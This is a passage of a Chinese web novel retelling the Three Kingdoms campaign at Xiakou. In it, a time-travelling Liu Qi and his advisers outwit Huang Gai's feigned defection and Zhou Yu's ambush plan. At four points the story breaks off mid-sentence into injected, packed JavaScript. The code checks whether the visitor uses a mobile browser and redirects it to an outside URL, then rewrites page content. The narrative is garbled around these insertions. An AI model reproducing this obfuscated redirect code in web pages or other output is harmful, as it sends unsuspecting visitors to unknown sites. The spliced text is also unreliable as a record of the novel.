庞统一脸诧异的看了看两人:“主公这是......” 诸葛亮含笑解释道:“士元有所不知,这是周瑜送来的''大礼''。主公所言,不出一刻,便该有人前来''投诚''了。” 闻言,庞统略一沉吟,眼中精光闪动:“前番周瑜夜袭砲阵不成,如今又生此计,莫非是要借内乱之名,行诈降之实?” 庞统转向刘琦,“只是此计未免太过刻意,莫非周瑜以为我等会轻易中计?“ 刘琦闻言抚掌笑道:“士元果然明察秋毫!” 庞统抚掌而笑:“周瑜这是黔驴技穷了,既然他非要送这份''大礼'',我等岂能辜负他这番美意?” 诸葛亮轻摇羽扇:“且看周瑜要如何演这出戏。” 刘琦重新拈起一颗蜜枣,悠然自得地靠在椅背上:“那我们就静候''佳客''登门了。” 刘琦说完,帐内三人相视而笑,帐中一时充满了快活的空气。 果然,不过半柱香的功夫,帐外便传来急促的脚步声。亲卫掀帘而入,躬身禀报: “主公,江上来了数条小船,为首者自称黄盖,说是......特来相投!” 刘琦与诸葛亮、庞统交换了一个心照不宣的眼神,缓缓起身: “既然''佳客''已至,咱们也该去迎一迎了。” 三人整装出帐,但见营中火把通明,一队亲兵正引着数人往中军大帐而来。 为首的老将黄盖被两名亲兵搀扶着,背上血迹斑斑,每走一步都显得格外艰难。 “黄老将军!”刘琦快步上前,故作惊讶,“这是何故?” 黄盖见到刘琦当面,当即推开搀扶的亲兵,黄盖此举瞬间惊起赵云心中警觉。 只见赵云一个快步拦在刘琦跟前,同时右手已按在剑柄上。 四周亲兵见状,“唰“的一声齐齐拔刀出鞘,寒光闪烁间已将黄盖团团围住。 见状,黄盖心中暗叫可惜。 黄盖原本打算若刘琦近身,便拼死一搏,与刘琦来一个一换一,凭自己残身换敌方主帅,值了。 于是,黄盖顺势踉跄跪地:“零陵黄盖,不堪受周瑜孺子之辱,特率千余部曲来投效明公!还望明公接纳!” 刘琦将方才一幕尽收眼底,却丝毫不慌——刘琦早料到黄盖或有此着,更相信赵云定能护他周全。 此刻见黄盖跪地请降,刘琦脸上故意露出几分骄纵之色,隔着两三步虚扶道:“黄老将军何必行此大礼!能得将军来投,实乃天助我也!” 接着刘琦转头对左右佯装不悦喝道:“还不快收刀!速传医官为老将军诊治!” 刘琦这番做派,既显招贤纳士之态,又暗藏防备之心。 那刻意保持的距离,那故作骄纵的神情,无不是在给黄盖下套。 待医官为黄盖处理伤口时,刘琦与诸葛亮、庞统在一旁静静观察。 只见黄盖那背上伤痕确实触目惊心,显然是下了狠手。 而趴在板凳上的黄盖一边忍着医官处理伤口的疼痛,一边愤愤道:“明公有所不知!那日某见明公麾下兵强马壮,更有**砲这等神器,便在军议时劝周瑜暂避锋芒,退回江东从长计议。” “谁知那周瑜自担任中护军以来,愈发骄横,竟当场拍案怒斥,说某''动摇军心''、''畏敌如虎''!” 黄盖越说越激动,背后的伤口都渗出血来:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16690155|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 某不过与其多争辩几句,那周瑜竟下令杖责五十!可怜某一世英名,竟在众目睽睽之下受此奇耻大辱!” 谁料,黄盖愤愤说完后,脸上光速变脸,露出几分谄媚之色:“明公用兵如神,连战连捷,实乃当世英主!周瑜那黄口小儿,怎配与明公为敌?某在江东时就常对部下说,刘使君才是真命之主也!” 黄盖这番露骨的吹捧,连他自己都觉得脸上发烫。 但为了取信于刘琦,黄盖只得硬着头皮继续说下去。 刘琦闻言,先是下意识地摸了摸鼻子,随即想起自己此刻该扮演的角色,立即换上一副受用无比的神情,喜形于色地问道:“果真?老将军在江东时便这般看待刘某?” 黄盖见刘琦这般反应,心中暗喜,连忙趁热打铁:“千真万确!那孙策不过一介武夫,孙权更是庸碌之辈,怎及明公文武双全?某在江东时就常对部下说,这天下终将归于明公!” 黄盖说得情真意切,连自己都快信了这番鬼话。 刘琦听得眉开眼笑,故作得意地捋了捋衣袖:“老将军此言,深得我心!来人啊,速为黄老将军安排上等营帐,好生款待!” 庞统在刘琦身后强忍笑意,诸葛亮则轻摇羽扇,目光中带着几分玩味。 待黄盖被亲兵引往安排好的营帐后,刘琦脸上的骄纵之色瞬间收敛,与诸葛亮、庞统相视一笑。 “鱼儿已经咬钩了。”刘琦轻声道。 诸葛亮羽扇轻摇:“接下来,就看周瑜何时入网了。” 与此同时,黄盖营帐内,黄盖屏退左右,只留下心腹族侄黄明。 “明儿,我们的部曲现在何处?”黄盖压低声音问道。 黄明凑近低语:“叔父放心,千余部曲被安置在左营,就在那片山林旁。” 黄明伸手指向帐外,为黄盖指引方位。 黄盖闻言,眼中精光一闪。 “刘琦将我部曲安置在左营,看似将我们与部曲隔阂开来,但与自己而言,部曲不在中军中,正好方便行事。” 这个结果比黄盖预想的还要好——若被安置在中军,四面皆敌,到时若要进行策应都督他们,行动必然受限。 如今在左营,既可与外界呼应,又能伺机而动。 “**砲阵地在何处?离我们有多远?”这才是黄盖最关心的。 第68章 谁在钓鱼?周瑜还是刘琦?! “**砲阵地在何处?离我们有多远?”这才是黄盖最关心的。 闻言黄明略一思索:“入营时我暗中观察,砲阵在西侧,距此约八百步。若急行军,一刻钟便可抵达。” 黄盖在心中盘算:八百步,一刻钟,足够了! 到时只要周瑜大军一到,黄盖便可率部直扑砲阵,焚毁那些该死的**砲! “刘琦小儿,果然骄狂自大了!” 黄盖忍不住抚须冷笑,“竟将我这降将安置在如此要害位置,真是天助我也!” 但黄盖却不知,这一切都是刘琦与诸葛亮精心设计的局。 将黄盖部曲安置在左营,看似是刘琦的疏忽,实则却是刘琦精心设计的一个诱饵。 刘琦虽然知道黄盖是苦肉计、诈降。 但刘琦却也并不会说死照硬搬,知道你历史上会诈降,就笃定你今日来降就是诈降。 今时不同往日,原历史中,黄盖诈降曹操时乃建安十三年,那时孙权已坐稳江东八年之久,孙氏政权已稳固,而黄盖也已在江东安家立业,自然对孙氏死心塌地。 而眼下是建安五年,孙权继位不过数月,根基未稳,江东内部暗流涌动。 黄盖虽历经孙氏三代君主,但黄盖终究是荆州零陵人,在这动荡时局中难保不会见风使舵。 而更关键的是,黄盖此番诈降与历史上大不相同。 赤壁之战时黄盖只需骗开寨门实施火攻,而如今却要在敌军大营中潜伏接应,凶险何止倍增。 刘琦若将黄盖部曲困死在中军,让黄盖觉得策应无望,以眼下局势而论,假戏真做投靠实力蒸蒸日上的刘琦,对黄盖这个荆州人来说未尝不是明智之选。 届时刘琦虽能得一员老将以及千余部曲固然可喜,但此刻的刘琦却想要的更多,作为后世之人,刘琦知道不久后,庐江太守李术就会叛孙自立。 届时江东内部大乱,刘琦便可趁虚而入,直取庐江、豫章诸郡。 但这一切的前提,都是要在此战中尽可能保全实力,又要重创敌军。 正因如此,刘琦才一直以来极力避免与江东军大残酷的攻城战。 而正是刘琦想要更多,才故意将黄盖安置在防守薄弱的左营。 这里不仅驻守着安陆世家的部曲,还有不少黄祖旧部,人员混杂,正是最适合内应起事的地方。 刘琦就是要给黄盖留下足够的希望,让这出诈降的戏能继续演下去,才好将计就计,一举歼灭江东主力。 而就在黄盖自以为得计之时,中军大帐内,一名暗哨正在向刘琦禀报: “黄盖入帐后,立即召见其族侄黄明,密谈约一炷香时分。” 刘琦与诸葛亮相视一笑。 “看来这位黄老将军,已经找到''破敌之策''了。”诸葛亮轻摇羽扇。 “既然如此,” 刘琦目光深邃,“我们便静待周瑜上钩。” 这场博弈,双方都自以为得计。 黄盖以为骗过了刘琦,却不知自己正一步步走进别人设下的圈套。 而接下来的几日,刘琦继续将骄纵之态演得淋漓尽致。 中军大帐夜夜笙歌,宴席不断,丝竹之声彻夜不绝。 就连远在夏口城头的周瑜,都能隐约望见荆州大营彻夜通明的灯火。 这日傍晚,刘琦特意命人请黄盖赴宴。 “公覆。” 刘琦举杯笑道,“前几日因你养伤,未曾邀你同乐,可莫要见怪啊。” 黄盖连忙起身:“明公言重了。某既投明公,自当遵从中军号令。” 刘琦故作满意地点头,忽然仰头饮尽杯中酒,重重叹息一声。 黄盖见状,立即换上谄媚之色,躬身问道:“不知明公因何烦忧?某既已投效,当为主公分忧。” 刘琦这才指着西城墙方向,满脸不耐道:“你是不知道,这几日真是闷煞我也!那**砲日夜不停地轰,好不容易轰塌了一小段城墙,谁知周瑜竟命人冒死用砂石给堵上了!” “照这个下去,不知要轰到何年何月才能破城,收复江夏!” 说着刘琦仰头饮尽杯中酒:“整日在这军营之中,连个像样的歌舞姬都没有。若不是为了这夏口城,我早回襄阳享受美酒佳人去了!” 黄盖闻言心中剧震。 黄盖虽知城墙受损,却不知竟已被轰塌一段。 虽被暂时堵上,但仓促填塞的砂石怎能与坚固的城墙相比? 自己若再拖延下去,只怕不等自己有所行动,这夏口城就要被轰破了,到时自己岂不是,诈降变真降了?! 想到这,黄盖当即起身,躬身道:“明公何必烦忧!某在城中尚有不少故交,他们早就有心投诚,只是苦无机会。” “若明公准许,某愿修书一封,劝他们作为内应,届时里应外合,何须再等那砲石轰城?” 刘琦眼睛一亮,拍案而起:“果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16690156|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真?若真能如此,公覆当记首功!” “某愿立军令状!” 黄盖趁热打铁,“三日内必有回信!” “好!好!” 刘琦‘大喜过望’,亲自为黄盖斟酒,“公覆若能劝降城内亲朋故交为策应,助我早日破城,我定奏请朝廷,封公覆为忠义校尉!” 忠义校尉.... 黄盖表面恭敬,心中早已怒骂连连:好个刘琦小儿,封我为忠义校尉,分明是在暗讽我背主求荣! 黄盖眼角余光瞥见帐外持刀而立的赵云,以及自己兵器早被收缴,只能强压怒火,继续装出谄媚之色,向刘琦连连道谢。 若不是为了都督大计,孙氏基业,我黄公覆今夜定叫你刘琦小儿血溅五步! 为了不露出马脚,黄盖只能强压着心中怒火,谄媚道:“明公厚爱,盖感激不尽!为免贻误战机,某这就去修书联络城中旧部。” 刘琦故作急切地催促道:“既然如此,当速去,速去!”说着刘琦亲**拍着黄盖的肩膀。 黄盖强忍着肩头传来的力道,脸上堆着笑连声应诺。 待退出大帐后,黄盖脸上的笑容瞬间消失,取而代之的是阴冷之色。 黄盖摸着方才被拍过的肩膀,心中暗恨:刘琦小儿,就让你再得意片刻。待我计成后,定叫你这荆州大营化作一片火海! 随后黄盖快步走回营帐,立即唤来心腹黄明,低声吩咐道:“速将此信送往夏口。” “知道了,叔!”黄明说着就要接过信件。 ‘啪’的一声,黄盖一巴掌拍开黄明的手,厉声道:“某说了多少次了,军中要称职务!” 黄明缩了缩脖子,连忙改口:“属下知错,请...请黄将军吩咐。” 黄盖脸色稍霁,将密信郑重交到他手中,语气忽然柔和下来:“记住,此信务必亲手交到周都督手中。送完信后......你就留在夏口,不必回来了。” 黄明一怔:“将军这是......” 但黄盖却背过身去,“不必多问,领命行事便可!” 黄明还想再问,却见黄盖已经背过身去,只得将话咽了回去。 郑重的将密信贴身藏好,低声道:“末将......领命。” 黄盖此刻心情复杂,既恼怒黄明不够稳重,又心疼这个自幼带在身边的族侄。 此番自己诈降九死一生,黄盖实在不忍让黄家血脉随自己一同赴险。 第69章 孙权:吾将亲征踏营誓杀刘琦! 是夜,夜色如墨,夏口城内。 都督府内,灯火摇曳,映照着周瑜略显苍白的脸庞。 黄明垂手肃立,看着周瑜凝神细读叔父黄盖那封浸满决绝的密信。 周瑜看得很仔细。 绢帛上,黄盖先是详细禀报了荆州大营的布防:他的千余部曲被安置在左营,那里靠近山林,营垒简陋,人员混杂,除了他的部曲,还有安陆世家的部曲和黄祖旧部,管理相当松散。 而周瑜最为关心的则是**砲阵地,距离黄盖部曲所在的左营不到八百步,而守军因连日无事已显松懈。 接着才提及刘琦近况,说这位荆州少主近日愈发骄纵,中军大帐夜夜笙歌,还因“砲击见效缓慢”而显得焦躁,甚至在他面前毫不掩饰想早日返回襄阳享乐的心思。 最后,黄盖提出了自己的初步计划:希望周瑜能约定时间,他愿率部曲为策应,先破荆州军左营,随后直扑砲阵,纵火焚砲,里应外合,大破荆州军! 看到此处,周瑜捏着绢帛的手指骤然收紧,指节发白,喉间溢出一声压抑的冷哼:“刘琦小儿,安敢如此轻我!” 他何等心高气傲之人,被对手这般轻视,胸中顿时气血翻涌,苍白的脸上瞬间罩上一层寒霜。 一直紧盯着周瑜脸色的孙权,见周瑜神色变幻,先是凝神细读,继而面现怒容,孙权心里顿时咯噔一下,一个糟糕的念头猛地窜了上来——莫不是黄盖已然暴露? 这下孙权再按捺不住,急忙开口,声音里透出他自己都未察觉的惊惶:“公瑾!可是……可是公覆他……事败了?” 周瑜被孙权这突如其来的惊慌问得一怔,随即意识到是自己方才的怒色误导了主公,连忙收敛神色,摆手温言道:“是瑜失态了,惊扰主公,方才怒意实因刘琦小儿骄狂,非关黄老将军,主公切勿多虑。” 周瑜见孙权神色稍缓,便将绢帛递过,语气转为沉稳: “黄老将军非但无恙,其计更已成功大半。刘琦果然中计,对其深信不疑。观此信中所陈,敌营虚实尽在掌握,左营松散,砲阵懈怠,正是天赐良机。” 孙权闻言,神色稍缓,但心中却掠过一丝不快,黄明这信使,进了门竟径直将密信呈给了周瑜,浑然忘了他这个正经的江东之主还在一旁坐着。 这等紧要军报,理应由他孙权先过目才是。 但孙权尽管如何不满良好的‘素养’,只是让孙权眼角微不可察地抽搐了一下,随后便强自将这份不满压了下去,现在不是计较这个的时候。 孙权深深看了周瑜一眼,没再多言,伸手接过了那封密信,低头快速览阅。 孙权随着目光在绢帛上移动,脸上刚才那一丝不满迅速消散,取而代之的是一种难以抑制的振奋,甚至连呼吸都变得有些粗重。 信中描述的刘琦之骄、敌营之虚,尤其是黄盖已获信任、可作内应的关键,让孙权清晰地看到了一条通往胜利的捷径! “好!好!” 看完,孙权连连拍击案几称好,眼中迸发出炽热的光芒,之前的些许不快早已被这“千载良逢”的机遇冲散,“黄老将军果然不负所托!此乃天赐良机,破敌就在眼前!” 孙权越说越激动,猛地拍案而起,目光灼灼地看向周瑜:“公瑾!此次袭营,关系重大,我当亲统大军,踏平敌寨,手刃刘琦!” 一股强烈的意念在孙权胸中翻涌,他要让天下人都看清楚,他孙仲谋,绝不逊于吾父兄! 周瑜闻言,脸色骤然一变,原本就苍白的脸色瞬间失了血色。 猛地撑起身子,因动作太急引发一阵剧烈的咳嗽,好不容易平复,情急之下,周瑜语气不自觉地重了几分,甚至带上了训诫的味道:“主公!万万不可!您乃万金之躯,一军之胆,岂可轻涉险地?袭营之事,交由韩当、潘璋等将领足矣!主公当与我在城中坐镇,指挥全局,方为上策!袭营之事,自有韩当、潘璋等将领效命!” 周瑜这话脱口而出,屋内空气仿佛一凝,侍立一旁的黄明听得心惊肉跳,慌忙垂下头去,连大气都不敢喘,他一个送信的小小亲兵,何曾见过有人敢用这般训诫的语气对吴侯说话? 周瑜语气中的急切与不容置疑,与其说是劝谏,不如说更像是一位重臣在训诫不懂事的后辈。 而孙权面色果然骤然一沉。 何等敏感,立刻听出了周瑜话里那超越臣子本分的意味。 联想到方才密信先呈周瑜的细节,一股被轻视、被辖制的不快猛地涌上孙权心头。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694301|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>孙权目光锐利地盯住周瑜,声音冷硬: “公瑾!吾兄孙伯符,当年平定江东时,哪一战不是亲冒矢石?我孙仲谋,岂是贪生怕死之辈?” 孙权刻意顿了顿,一字一句,清晰的宣告: “孤意已决,公瑾不必再劝!” 周瑜被孙权这不容置疑的话语刺得一怔,这才意识到自己方才情急失言。 看着孙权那冷峻的脸色,所有劝谏的话语都堵在了喉咙里。 周瑜饱读诗书,通晓史册,太清楚一个年轻君主初掌权柄时,是何等渴望建功立业来巩固权势。 理智告诉周瑜,孙权不是其兄孙策那般勇武绝伦的将才,亲临战阵实非明智之举,若是伯符在此,他定会全力支持其亲率锐士踏营——因为那根本就是送上门来的军功。 可仲谋……终究差了那份与生俱来的悍勇。 但是,周瑜也明白,在这群雄逐鹿的乱世,一个君主若不能亲手执刀立威,就永远镇不住麾下的骄兵悍将。孙权此举,并非任性,而是必行之路。 周瑜深深望了孙权一眼,在那双年轻而执拗的眼睛里,看到了不容退缩的决心。 也罢。 周瑜深吸一口气,再抬眼时,眼中已尽是沉静之色。 周瑜微微欠身,语气恢复了往日的从容: “主公既有此志,瑜自当竭诚辅佐,然用兵之道,贵在万全。然兵者,国之大事,死生之地,不可不察。” 声音沉稳而冷静:“黄老将军信中所述,刘琦连胜而骄,疏于防备,确是不假。” “然其麾下诸葛亮、庞统等人,皆非庸碌之辈。刘琦狂傲,未必疑心黄老将军,但此二人未必不会有所察觉。” “若我军仅凭此信,便与黄老将军约定时辰贸然袭营,恐正堕其彀中。” 孙权闻言,心头不由得一紧。 孙权虽不满周瑜这般谨慎的态度,却又不得不承认这番话确实在理。 孙权强压下心头那点不快,追问道:“那公瑾之意...是要放弃这大好时机?” “非也。” 周瑜摇头,轻声否定道,手指在荆州大营的位置轻轻一点:“机会既现,岂能轻弃?只是用兵之道,贵在万全,黄老将军这步棋,要用,却不能只用这一招。” 第70章 周都督妙施连环计,刘琦上钩? 周瑜摇头,轻声否定道,手指在荆州大营的位置轻轻一点:“机会既现,岂能轻弃?只是用兵之道,贵在万全,黄老将军这步棋,要用,却不能只用这一招。” 孙权眉头微皱,问道:“那公瑾之意是?” 周瑜的手指在地图上缓缓移动,声音沉稳有力:“此次用兵,需做足前置准备,瑜意,即刻伪造一封黄盖故交的投诚信,就说明夜子时,北门守军将开城献降,请刘琦速派大军入城,夺取夏口擒杀孙权。” 周瑜抬眼看向孙权:“此计一石二鸟。既能助长刘琦的骄狂,又能麻痹诸葛亮等人,待其偏师入我瓮城后...” 周瑜的手指重重点在瓮城位置,声音虽虚弱却透着杀伐之气:“我便亲率伏兵四起,将其困于瓮城之内,来个...聚而歼之!此举既可歼灭刘琦其一部,挫其锐气,更能迫使刘琦分兵救援。届时荆州大营兵力分散,正是可乘之机。” 孙权听得入神,忍不住追问:“那主力何时出击?” “就在明夜子时!” “当城内杀声震天,刘琦注意力被吸引之时,主公可亲率主力,趁夜色从水寨秘密出发,沿江而上,直扑左营!” 周瑜说到这时声音愈发激昂:“届时黄盖在内放火策应,主公在外猛攻,里应外合之下,何愁刘琦左营不破?其砲不焚?” 周瑜这一番谋划,可谓是将虚虚实实的兵法用到了极致,也把刘琦可能做出的反应都算计了进去,听得旁边的黄明是目瞪口呆,心道怪不得人家是都督,这心眼子多得跟筛子似的。 孙权听完,方才的担忧与不满一扫而空,取而代之的是难以抑制的兴奋,在公瑾这般算计之下,敌明我暗,刘琦的一举一动都被料中,可谓是被算计的死死的。 孙权猛地一拍大腿:“好!好一个双环之策!公瑾算无遗策,此战优势在我,大计可成矣!” 但孙权顿了顿,忽然想到什么:“只是...公瑾抱恙在身,城内伏击之事...” 周瑜淡然一笑,虽面色苍白却目光坚定:“区区小恙,何足挂齿。为主公大业,瑜必当亲临战阵!” 周瑜说完,屋内一时寂静,只听得周瑜压抑的轻咳声。 孙权凝视着周瑜苍白如纸的脸色,还有那双因连日操劳而深陷的眼窝,心头五味杂陈。 良久,孙权深吸一口气,将满腹关切化作一声长叹:“既如此...公瑾务必珍重。” 接着孙权话锋一转,神色变得凝重:“那依公瑾之见,此番该动用多少兵马袭击刘琦营地?城内城外,如何调度方能万全?” 闻言,周瑜似是早已算好,不假思索地答道:“如今城内可用之兵约有一万七千。为保万全,主公可亲率一万精锐出城,韩当、潘璋为副。余下七千兵马...” 周瑜顿了顿,接着:“其中五千由我统领,负责瓮城伏击。” “至于余下两千...多是这些时日负伤的将士,就让他们留守各处城墙,多布旌旗以为疑兵。” 周瑜这安排可谓大胆至极。 他将城中最为精锐的一万兵马尽数交予孙权,自己却只带着五千士卒执行瓮城伏击的战术。 而一旦伏击出现差池,那留守城墙的两千伤兵多是伤兵残将,根本无力支援。 这些士卒大多带伤在身,行动尚且不便,若见敌军破城,恐怕未战先乱。 到时候这些伤兵非但帮不上忙,反而可能堵塞街巷,惊扰军心,成为周瑜的累赘。 所以,周瑜这简直就是在刀尖上行走——若伏击不成,不仅夏口城危在旦夕,就连自己这位三军主帅都要身陷险境。 是以,在听完周瑜这安排后,顿时让孙权心头一沉。 孙权何尝看不出,周瑜这是把全部精锐都交给了他,自己却带着伤兵执行最危险的瓮城伏击。 这位三军主帅,分明是在用性命为他铺路,成全他亲征立威的心愿。 这一刻,孙权心中又是百感交集。 先前因密信先呈周瑜而产生的那点不快,此刻早已烟消云散。 孙权深深望了周瑜一眼,将这份沉甸甸的情义牢牢记在心底——这份情,他孙仲谋记下了。 “好!” 孙权重重拍案,“就依公瑾所言!此番定要叫那刘琦小儿,见识见识我江东儿郎的厉害!” 顿了顿,孙权目光落在周瑜苍白的脸上,语气不由放软:“只是公瑾你...务必珍重。待此战功成,权必在城头为公瑾设宴庆功。” 周瑜淡淡一笑,那惨白的脸上竟泛起一丝光彩:“主公放心。待明日捷报传来,瑜定当陪主公痛饮三杯。” 这一刻,君臣二人心中隔阂消散,相视而笑。 而随着周瑜计策定下,黄明自是不敢耽搁,趁着夜色,又如同鬼魅般潜出夏口,将周瑜的密信带回了荆州大营左营,交到了黄盖手中。 当看到黄明时,黄盖先是一愣,随即脸色骤变。 “你...你怎么回来了?” 黄盖的声音压得极低,却掩不住其中的惊怒,“某不是让你留在夏口吗?” 黄盖一把将黄明拽到帐中暗处,额角青筋暴起:“这是送死的差事,某特意让你避开,你为何还要回来送死?!” 黄明被叔父这突如其来的怒火惊得后退半步,却仍倔强地低声道:“叔父...叔父独自涉险,侄儿怎能...” “混账!” 黄盖厉声打断黄明,扬起手似要掌掴,最终却重重落下,拍在自己大腿上,“某费尽心思保全黄家血脉,你竟...!” “是周都督命我回来的!”黄明急忙解释,“都督有新的军令,要我务必亲自传达给将军。” 听到周都督三个字,黄盖神色一凛,方才的怒火瞬间收敛。 黄盖深吸一口气,将那些私 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只见信内黄盖‘故交’信写得情真意切,痛斥周瑜暴虐,感念刘琦仁德,声称已串联好北门守军,只待明日子时,便可夺门献城,恭迎明公王师云云。 刘琦看得极快,脸上逐渐露出狂喜之色,看完后,竟忍不住哈哈大笑起来,将信纸拍在案几上。 “好!好!好!” 刘琦连说三个好字,兴奋地看向诸葛亮和庞统,“孔明,士元,你们看看!真是天助我也!我就说那周瑜苛待士卒,不得人心!如今果然应验!不费吹灰之力,便可取此坚城!” 刘琦得意地捋了捋并不存在的胡须,那副骄狂之态,让低着头的黄盖嘴角微微抽搐,心中冷笑:“刘琦小儿笑吧,尽情笑吧!明日此时,看你还能否笑得出来!” 第71章 刘琦飙戏!计中计启动! 正当黄盖暗自腹诽之际,刘琦已大笑着将手中的信笺递给身旁的诸葛亮:“孔明,士元,你们都看看!这真是天助我也!” 刘琦故意提高声调,让帐内所有人都能听见:“公覆的故交愿献北门,这可是省了我们多少力气!” 诸葛亮接过信件,与庞统交换了一个意味深长的眼神。 二人细细阅信,帐内一时只闻灯花爆裂的细微声响。 少倾。 “恭喜主公。” 诸葛亮将信递还,羽扇轻摇,“恭喜主公,若真能如此,则夏口唾手可得,可免将士攻城之苦,实乃大幸。” 庞统也抚掌笑道:“周瑜治军严苛,不得人心,合该有此报应。” 刘琦满意地点头,转向黄盖时又换上那副志得意满的神情:“黄老将军立此大功,待破城之后,我定要上表朝廷,为你请功!” 黄盖连忙躬身,强压住心头的讥讽——刘琦这般得意忘形,竟连信笺笔迹都未细察那伪造的降书墨迹未干都为察觉。 “全赖明公威德,盖岂敢居功。” 帐内灯火通明,映照着众人各异的神色。 这一刻,每个人都在演着自己的戏,只待明夜见分晓。 此刻的刘琦可谓是将‘志得意满’表现的淋漓尽致,仿佛夏口已经搓手可得般,大手一挥:“传令!命王朗、宋濂所部,明日饱餐战饭,给老子精神点!下午准时兵临北门,准备入城接收!” “王朗、宋濂你们二人进城之后,给老子约束好部下,不得扰民!违令者,斩!” “诺!” 王朗、宋濂二人霍然起身,抱拳领命。 “主公英明!”黄盖连忙叩首,脸上堆满了谄媚的笑容,心里却已经乐开了花。 刘琦啊刘琦,你果然中计了! 黄盖仿佛已经看到明日荆州军在北门瓮城里被**殆尽,以及明夜子时,孙权主力杀入这左营,将**砲和这偌大的营寨付之一炬的场景! 而帐内众将校在听完信件内容后,无不面露喜色。 若能不费吹灰之力拿下夏口,自是皆大欢喜。 毕竟兵法云‘十则围之’,强攻坚城向来都是杀敌一千自损八百的苦差事。 然而当众人目光扫过跪伏在地、满脸谄媚的黄盖时,那份喜悦中又不禁掺杂了几分鄙夷。 陈应心中冷哼:“卖主求荣之辈,纵然有功,也令人不齿。” 黄忠更是眉头微蹙,对这等背弃旧主之人本能地心生厌恶。 刘琦满意地受了黄盖这一礼,随后挥了挥手,语气随意地说道:“公覆军连日辛苦,且先回营好生歇息,静待明日佳音。” 刘琦这分明是送客之意。 黄盖心中暗喜,正巴不得早些离开这是非之地,好去准备明夜的行动。 而随着黄盖感恩戴德(实则内心狂喜)地退下,大帐帘幕落下,隔绝了内外。 帐内,刚才还一脸狂喜、骄纵不可一世的刘琦,瞬间收敛了所有表情,眼神变得清明而冷静,哪还有半分醉意。 刘琦这突兀的转变让两侧的陈应、黄忠等将领都不由一怔。 方才他们还在为能够轻松拿下夏口而庆幸,此刻却见主公神色骤变,顿时心生困惑。 刘琦轻轻哼了一声,拿起案几上那封投诚信,随手丢入一旁火盆。 “主公这是......” 见此,陈应忍不住开口问道,但却被诸葛亮抬手止住。 诸葛亮轻摇羽扇,淡然笑道:“主公这出戏,是越演越精熟了。黄公覆怕是回去做梦都要笑醒。” 庞统在旁嘿嘿一笑,接口道: “观黄盖献信之态,极力主张我军往北门受降,这其中必有蹊跷。” 帐中诸将面面相觑。 黄忠忍不住压低声音对身旁的赵云道:“子龙,军师此言何意?莫非那黄盖有诈?” 赵云眉头微蹙,目光在两位军师和主公之间流转,似乎明白了什么。 “依统之见,周瑜定是设下连环计:先以诈降为饵,诱使我军分兵北门。待我军在瓮城遇伏,必会调兵驰援,届时我军大营空虚...” “届时必有江东主力直扑左营,与黄盖里应外合。这一招声东击西,既分散我军兵力,又制造混乱,端的狠辣!” 陈应闻言倒吸一口凉气,方才明白险些中了敌军诡计。 黄忠更是须发皆张,怒目圆睁:“好个黄盖,竟敢诈降!主公,让末将现在就去取他首级!” 刘琦抬手制止:“汉升且稍安勿躁。” 而庞统说着那矮胖的身躯在帐中踱步,摇晃着略显滑稽的脑袋,语气中带着几分惋惜: “可惜啊,可惜,周公瑾此计若是用在旁人身上,确可称天衣无缝。诱敌分兵,声东击西,环环相扣,任谁都要着了他的道。” 庞统忽然停下脚步,转身面向刘琦,丑陋的脸上露出意味深长的笑容: “只可惜周公瑾千算万算,却不知螳螂捕蝉,黄雀在后,他自以为谋划周全,却不知主公早已洞若观火。这一局,他输了!” “士元此言,深得我心。” 面对庞统的吹捧刘琦极为受用地眯起眼睛,庞统与诸葛亮这两位青史留名的智者如此推崇,任谁都会飘飘然。 更何况,刘琦是后世来客对周瑜黄盖这出苦肉计再熟悉不过,此刻亲眼见证,且一切尽在掌控,这让刘琦更有一种双重满足——既享受着当世顶尖谋士的敬佩,又身为穿越者洞悉历史的优越。 这时,帐中诸将才恍然大悟——原来方才主公那副志得意满突然出现的骄纵的模样,全是做给黄盖看的戏啊!. 这时,刘琦很快便从短暂的自我满足中回过神来,眼中精光一闪,当即开始调兵遣将:“既然在黄盖面前已经说了要让王朗、宋濂前去接应,这场戏自然要演得真切。” 随后,刘琦看向王朗,宋濂二人道: “你们二人明日午后大张旗鼓地整军出发,务必要让黄盖瞧见他们的动向。” “不过...” 刘琦手指在地图上划出一道弧线:“待出营三里后,你二人立即转向左营西侧的山林隐蔽。那里林木茂密,正好藏兵。” 